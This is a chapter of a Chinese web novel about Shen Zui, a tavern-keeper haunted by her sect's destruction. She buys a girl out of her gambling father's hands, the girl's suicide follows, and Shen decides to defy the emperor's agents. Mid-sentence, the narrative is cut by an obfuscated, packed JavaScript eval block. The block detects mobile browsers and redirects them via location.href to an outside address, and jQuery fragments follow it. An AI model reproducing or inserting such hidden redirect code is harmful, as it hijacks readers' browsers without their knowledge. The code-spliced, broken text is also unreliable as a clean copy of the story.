风月楼在城东胭脂河边，是一栋三层的木楼，年头久了，柱子上的朱漆都剥落了大半。可一到夜里，几十盏灯笼点起来，红光映在河面上，整条街都跟着活过来。
沈醉坐在二楼窗边，手里端着酒碗，看着河对岸的积雪。
雪下了三天，今儿午后才停。对岸的屋顶上白茫茫一片，有几只乌鸦落在上面，爪子刨来刨去，不知在找什么吃的。她看着那些乌鸦，忽然想起小时候娘说过的话：乌鸦是孝鸟，老乌鸦飞不动了，小乌鸦会叼食来喂。
她娘说这话的时候，她爹还在。
那时候她爹还没开始赌，家里还有几亩薄田，日子过得紧巴巴，但好歹能吃饱。她娘给人洗衣裳，她爹给人扛活，她在河边捡柴火，一家三口，平平淡淡。
后来她爹不知被谁拉去赌了一次，赢了二两银子，从此就收不住了。
她娘哭着劝，他打她。她跪着求，他踹她。她把家里的田契藏起来，他把她吊在房梁上抽，抽到她松口。
田没了，房子没了，她娘被卖了。
那天她躲在门后，从门缝里看着她娘被人拖走。她娘没有哭，没有喊，只是回过头，往门缝里看了一眼。
那个眼神，她到死都忘不了。
“老板娘！”
楼下传来喊声，把她从回忆里拽出来。
沈醉低头一看，是账房周伯，站在院子里冲她挥手：“有客！雅间的！”
她“嗯”了一声，把碗里剩的酒一口干了，起身下楼。
楼下大堂里坐着七八桌客人，有贩夫走卒，有江湖客，还有两个穿青衫的读书人，正对着一盘花生米高谈阔论。沈醉从他们身边走过，听见他们在说什么“女子不得入祠”，说什么“牝鸡司晨”，说什么“世风日下”。
她脚步顿了顿，然后继续走，脸上带着笑。
“几位爷慢用，酒不够喊我。”
读书人中的一个抬头看了她一眼，目光在她脸上身上转了一圈，笑眯眯道：“老板娘亲自招呼？那我们可得再要一壶。”
沈醉笑得更深了：“行啊，一壶够不够？要不要来坛大的？”
读书人被她噎了一下，讪讪地收回目光。
沈醉转身走了，脸上的笑容一点一点淡下去。
世风日下。
牝鸡司晨。
这些话她听过一万遍了。从她爹嘴里听过，从债主嘴里听过，从那些来风月楼吃酒的男人嘴里听过。听得她耳朵都起茧子了。
可听得再多，她还是不习惯。
就像不习惯冬天喝凉水，不习惯夏天穿棉袄——不对，比那还难受。是心里头堵着一团棉花，吐不出来，咽不下去，就那么堵着，日复一日，年复一年。
她走到后院，周伯正跟一个年轻女子说话。那女子穿着青布衣裳，手里提着个食盒，是隔壁馄饨摊的阿萝。
“阿萝，你娘又让你送吃的？”沈醉走过去。
阿萝把食盒递给她：“我娘说您肯定又没吃饭，光喝酒。”
沈醉打开食盒，里面是一碗热腾腾的荠菜馄饨。她低头闻了闻，香气直往鼻子里钻。
“替我谢谢你娘。”她说。
阿萝“嗯”了一声，却没有走，站在那儿看着她，欲言又止。
沈醉看出她有话要说：“怎么了？”
阿萝咬了咬嘴唇：“老板娘，我娘说……说这几天街上有几个人，老是在咱们这一带转悠，让我留点神。”
沈醉心里一动：“什么样的人？”
“穿黑衣服的，三个人，看着不像好人。”阿萝说，“我娘说，他们好像在盯着风月楼。”
沈醉点点头，脸上不动声色：“知道了。让你娘别担心，有我呢。”
阿萝走了。沈醉端着馄饨站在院子里，看着墙角的积雪，半天没动。
穿黑衣服的人。
皇帝的狗。
来得真快。
她把馄饨递给周伯：“您吃了吧，我不饿。”
周伯想说什么，她已经转身回了楼里。
下午的生意清淡，沈醉坐在柜台后头，手里转着一只空酒碗，眼睛看着门外。
街上人来人往，卖糖葫芦的，剃头的，挑担子卖菜的，还有几个小孩在雪地里打雪仗。她一个一个看过去，没看见穿黑衣服的人。
可她知道，他们在。
就像藏在洞里的老鼠，你看不见，可你知道它们就在那儿，等着夜里出来咬东西。
太阳慢慢偏西，天边烧起一片红霞。风月楼的灯笼一盏一盏点起来，红光映在雪地上，照得整条街都暖洋洋的。
沈醉正要起身去招呼客人，忽然听见外面一阵喧哗。
“站住！你个死丫头！敢跑？”
她走到门口，往外一看。
一个穿粗布衣裳的少女正拼命往这边跑。她头发散着，脸上带着伤，一只脚光着，踩在雪地里，冻得通红。她身后追着三个男人，领头的是个肥头大耳的中年男人，一边追一边骂。
少女跑到风月楼门口，脚下一滑，整个人摔在雪地里。
那三个男人追上来，肥头大耳的男人一把揪住她的头发，把她从地上拎起来。
“跑啊！再跑啊！”他扬手就是一巴掌，打得少女嘴角流血。
少女被打得懵了，却还是挣扎着抬起头，看见了站在门口的沈醉。
“救命……”她喊，声音又尖又细，像被掐住脖子的鸡，“求求您，救救我……”
沈醉看着她，没有说话。
肥头大耳的男人顺着少女的目光看过来，看见沈醉，咧嘴笑了：“哟，这不是风月楼的沈老板娘吗？怎么，您想管这闲事？”
沈醉慢慢走下台阶，站在他们面前。
“这姑娘是你什么人？”
“我闺女！”男人理直气壮，“亲闺女！老子养了她十五年，现在家里揭不开锅了，把她卖了换点银子，天经地义！”
“天经地义？”沈醉重复了一遍这四个字，“你欠了多少赌债？”
男人脸色一变：“你……你怎么知道？”
沈醉没理他，看向那个少女：“你叫什么？”
少女被打得满脸是血，却还是努力抬起头：“我……我叫阿蛮。”
“阿蛮。”沈醉点点头，“你愿意跟你爹回去吗？”
阿蛮拼命摇头，摇得眼泪都甩出来了：“不！我不回去！他要卖我！他要把我卖到那种地方去！”
沈醉沉默了一会儿，然后伸手从怀里摸出一张银票。
“这是一百两。”她说，“拿了钱，滚。”
男人的眼睛亮了，伸手就要接。
沈醉把银票收回去：“先写文书。周伯，拿纸笔来。”
周伯很快拿来纸笔。男人不识字，沈醉让周伯写，写完了念给他听：从此以后，阿蛮与刘家再无干系，生死各不相干。
男人按了手印，接过银票，眉开眼笑地走了。
阿蛮跪在雪地里，拼命给沈醉磕头，磕得额头上都是雪和血混在一起：“谢谢老板娘！谢谢老板娘！我做牛做马报答您！”
沈醉弯腰把她扶起来：“起来吧。周伯，带她去后面洗洗，换身干净衣裳。”
阿蛮被周伯带走了。沈醉站在雪地里，把那纸文书看了一遍，叠好收进怀里。
她正要转身回楼里，忽然听见身后有人说：“老板娘心善。”
她回头一看，是个穿青衫的年轻男子，站在不远处，正笑吟吟地看着她。
沈醉心里一紧。
这个人，她没见过。可他的眼神，她见过。那是猎人的眼神，看着猎物的时候，就是这样的。
“客官吃饭还是住店？”她笑着问。
“吃饭。”年轻男子说，“听说风月楼的酒好，来尝尝。”
沈醉把他让进楼里，安排了座位，亲自去后厨交代。
出来的时候，她看见阿蛮站在后院的井台边，周伯正往她手里塞一个馒头。
阿蛮接过馒头，大口大口地吃，吃得眼泪都掉下来了。
沈醉走过去，站在她身边。
阿蛮看见她，又要跪，被她一把拉住。
“别跪了。”沈醉说，“吃你的。”
阿蛮含着泪点头，继续吃馒头。
沈醉看着她，忽然问：“你娘呢？”
阿蛮的眼泪又掉下来：“死了。去年冬天死的。病死的不给治，说没钱。”
沈醉沉默。
“我娘活着的时候，”阿蛮小声说，“天天盼着我爹能改。她不怨他，不恨他，就盼着他能改。可他改不了。我娘死了，他把我卖了。”
沈醉还是不说话。
阿蛮吃完馒头，抬起头看着她：“老板娘，您为什么救我？”
沈醉想了想，说：“因为有人救过我。”
阿蛮眼睛亮了：“那我也能像您一样吗？以后也能救人？”
沈醉看着她那双亮晶晶的眼睛，忽然想起一个人。
很久以前，也有一个人用这样的眼睛看着她。
那是她师姐。
那时候她还在师门，跟着师父学艺。师父是个疯疯癫癫的老道姑，收了一堆女弟子，教她们读书识字，教她们拳脚功夫，教她们怎么在世上活下去。
师父说，这世道对女子不公，所以女子更要自己争气。
师父说，你们学了本事，不是为了欺负人，是为了不被欺负。
师父说，将来有一天，你们要替那些不能保护自己的人出头。
她信了。
她真的信了。
直到那一天。
那天师门来了客人，说是江湖上的朋友，来借宿的。师父让他们住下了，好吃好喝招待着。她也信了，把他们当朋友。
可那些人不是朋友。
他们是冲着师父来的。师父手里有一本册子，上面记着许多官员的阴私，是师父这些年走南闯北收集来的。那些人要那本册子，师父不给。
那天夜里，她喝多了酒，跟那些人中的一个说了几句醉话。她说了什么，她不记得了。只记得第二天醒来，师门已经烧成了白地。
师父死了，师姐死了，师姐妹们都死了。
只有她活着。
因为她说漏了嘴，让那些人知道了册子藏在哪儿。
她活着，可她宁愿死了。
这些年她拼命喝酒，就是想忘掉那一夜。想忘掉师父临死前的眼神，想忘掉师姐最后喊的那句话。
师姐喊的是：沈醉，你记住，不是你的错。
可她知道，是她的错。
就是她的错。
“老板娘？”
阿蛮的声音把她拉回来。
沈醉眨了眨眼，发现自己脸上凉凉的。她抬手一抹，是雪。
不，不是雪。
是泪。
她转过身，不让阿蛮看见。
“吃完就去歇着吧。”她说，“明天再说以后的事。”
阿蛮“嗯”了一声，乖乖跟着周伯走了。
沈醉一个人站在井台边，看着黑沉沉的天。
那个穿青衫的年轻男子，还在楼里坐着。她知道他在等什么。等夜里，等人少，等机会。
她冷笑一声。
皇帝的狗，咬人之前还要先闻闻味儿。
她转身回楼里，经过大堂的时候，那年轻男子叫住她：“老板娘，酒不错。再来一壶？”
沈醉停下脚步，看着他。
“客官，”她说，“您是来喝酒的，还是来瞧热闹的？”
年轻男子笑了：“老板娘这话说的，喝酒就不能瞧热闹了？”
沈醉也笑了：“能。当然能。只是我这风月楼，热闹不多，怕您瞧不着。”
年轻男子看着她，目光幽深：“老板娘太谦虚了。我看您这儿，热闹多得很。”
沈醉不再理他，上楼去了。
夜里，她把阿蛮安顿在后院的一间小屋里，又给她抱了一床厚被子。
阿蛮躺在被窝里，眼睛亮晶晶地看着她：“老板娘，我以后能跟您学本事吗？”
沈醉看着她，忽然想起师姐那句话：沈醉，你记住，不是你的错。
她张了张嘴，想说什么，又咽了回去。
最后她只说：“睡吧。”
她吹灭蜡烛，带上门，走了。
回到自己屋里，她躺在床上，怎么也睡不着。
窗外的风呜呜地吹，吹得窗纸直响。她听着风声，想着阿蛮那双眼睛，想着师姐那句话，想着师父临死前的样子。
她翻了个身，把脸埋进枕头里。
枕头湿了。
不知什么时候，她迷迷糊糊睡着了。
梦里，她又回到了师门。师父在院子里打拳，师姐在井台边洗衣服，小师妹在追蝴蝶。阳光暖洋洋的，照在每个人身上。
她站在门口，看着她们，想喊她们快跑，可喊不出声。
然后火就烧起来了。
她看见那些人冲进来，看见师父倒下去，看见师姐被刀砍中，看见小师妹被踩在地上。
她看见自己站在一边，醉醺醺的，什么都不知道。
“沈醉！”
师姐的喊声把她惊醒。
她猛地坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334407|199218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起来，浑身都是汗。
窗外还黑着，不知什么时辰。
她听见有人在喊，不是梦里，是真的有人在喊。
“老板娘！老板娘！出事了！”
是周伯的声音。
沈醉披上衣服冲出去，跟着周伯往后院跑。
跑到那间小屋门口，她愣住了。
门开着，月光照进去，照在一个人身上。
阿蛮躺在地上，头靠着墙，墙上有一片暗红色的东西。
沈醉走过去，蹲下来，伸手探了探她的鼻息。
凉的。
她低头看，看见阿蛮的手里攥着一张纸。她把纸抽出来，展开。
是那张文书。
从此以后，阿蛮与刘家再无干系，生死各不相干。
沈醉攥着那张纸，攥得指节发白。
周伯在旁边说：“我起来解手，听见这边有动静，过来一看……她、她撞的……老板娘，她为啥……”
沈醉没说话。
她看着阿蛮的脸。那张脸还带着一点笑，像是终于解脱了的笑。
她忽然明白了。
阿蛮不是不想活。她是不知道该怎么活。
被亲爹卖了，被陌生人救了，然后呢？然后该怎么办？她一个十五岁的丫头，没家没业没依靠，往后怎么办？
沈醉想救她，可救得了今天，救不了明天。
就像当年，师父想救她，可救得了她一个人，救不了整个师门。
她跪在那儿，跪了很久。
周伯在旁边不敢说话。
远处传来梆子声，四更天了。
沈醉慢慢站起来，走到院子里。
月光照在雪地上，白得刺眼。她站在雪地里，从怀里摸出一样东西。
是一个酒坛。
很小的酒坛，巴掌大，里面装着她珍藏了十年的女儿红。她一直舍不得喝，想着等哪天有喜事了再喝。
她打开酒坛，把酒倒在雪地上。
酒渗进雪里，把雪染成淡黄色，像泪。
“阿蛮，”她说，“这碗酒，我替你喝了。”
她仰起头，把坛子里剩的最后一口酒倒进嘴里。
酒很醇，很厚，从喉咙一直暖到心里。
可她的心是冷的。
她把空酒坛举起来，举过头顶，狠狠摔在地上。
“啪！”
酒坛碎成无数片，溅得到处都是。
周伯吓了一跳：“老板娘！”
沈醉站在碎瓷片中间，抬起头，看着天边那一线灰白。
天快亮了。
“周伯，”她说，“把那间屋子收拾干净。阿蛮……好好葬了。”
周伯应了一声，又小心翼翼地问：“老板娘，您……您没事吧？”
沈醉没有回答。
她低头看着地上的碎瓷片，看着那些锋利得能割破手指的碎片。
忽然想起师父说过的一句话。
师父说，醉着死，不如醒着拼。
她以前不懂。
她以为师父说的是喝酒。
现在她懂了。
师父说的是活着。
醉着死，就是像她这些年一样，用酒把自己灌醉，假装什么都忘了，假装什么都没发生过，就这么浑浑噩噩地活着，活到死。
醒着拼，就是清醒地面对那些事，面对那些恨，面对那些痛，然后一刀一刀地拼，拼到拼不动为止。
她这些年，一直在醉着。
从今天起，她要醒了。
沈醉转身，大步往外走。
周伯在后面喊：“老板娘，您去哪儿？”
“去杀人。”她说。
周伯吓得脸都白了：“老板娘！”
沈醉停下脚步，回头看了他一眼，笑了一下。
“逗您的。”她说，“我去买酒。”
她走出后院，走过大堂，走到门口。
门外站着一个人。
是那个穿青衫的年轻男子。
他站在晨曦里，笑眯眯地看着她：“老板娘起得早。”
沈醉看着他，也笑了：“客官也早。”
“听见动静，出来看看。”年轻男子说，“老板娘这是要去哪儿？”
沈醉走到他面前，站定。
“客官，”她说，“您盯了我三天了，盯出什么来了？”
年轻男子的笑容僵了一瞬。
沈醉继续说：“回去告诉您的主子，就说沈醉说了——风月楼是卖酒的地方，不是他该来的地方。再来，我就把那些狗腿子一个一个扔进胭脂河里喂鱼。”
年轻男子的脸色变了。
沈醉不再理他，大步往前走。
走出几步，她忽然停下来，回过头。
“对了，”她说，“替我给你们主子带句话。”
年轻男子看着她。
沈醉一字一字说：“这世道，该换一换了。”
说完，她转身走了。
晨光照在她身上，把她的影子拉得很长。
她走在雪地里，一步一步，踩得积雪咯吱咯吱响。
她知道前头等着她的是什么。
皇帝的狗，朝堂的刀，那些男人的嘴和笔。
可她不怕了。
醉着死，不如醒着拼。
她醒了。
风月楼门口，那个年轻男子站在原地，看着她走远。
他忽然发现，自己后背凉飕飕的。
出了一身冷汗。
远处传来吆喝声，卖馄饨的出摊了。
阿萝的娘把摊子支起来，看见沈醉走过来，笑着招呼：“沈老板，来碗馄饨？”
沈醉在摊子前坐下，要了一碗馄饨。
热气腾腾的馄饨端上来，她低头吃着，一口一个。
阿萝的娘在旁边看着她，欲言又止。
沈醉吃完馄饨，放下碗，从怀里摸出几个铜板。
“周婶，”她说，“以后我的馄饨，送到风月楼就行。”
周婶愣了一下：“您不来吃了？”
沈醉站起来，拍了拍身上的雪。
“不来了。”她说，“往后忙。”
她走了。
周婶站在摊子后面，看着她的背影，总觉得今天这个沈老板，跟往常不太一样。
到底哪里不一样，她也说不上来。
就是觉得，她的腰比往常直了些。
脚步比往常快了些。
眼睛比往常亮了。
像是一头睡了很久的狮子，终于醒了。
——第一章完——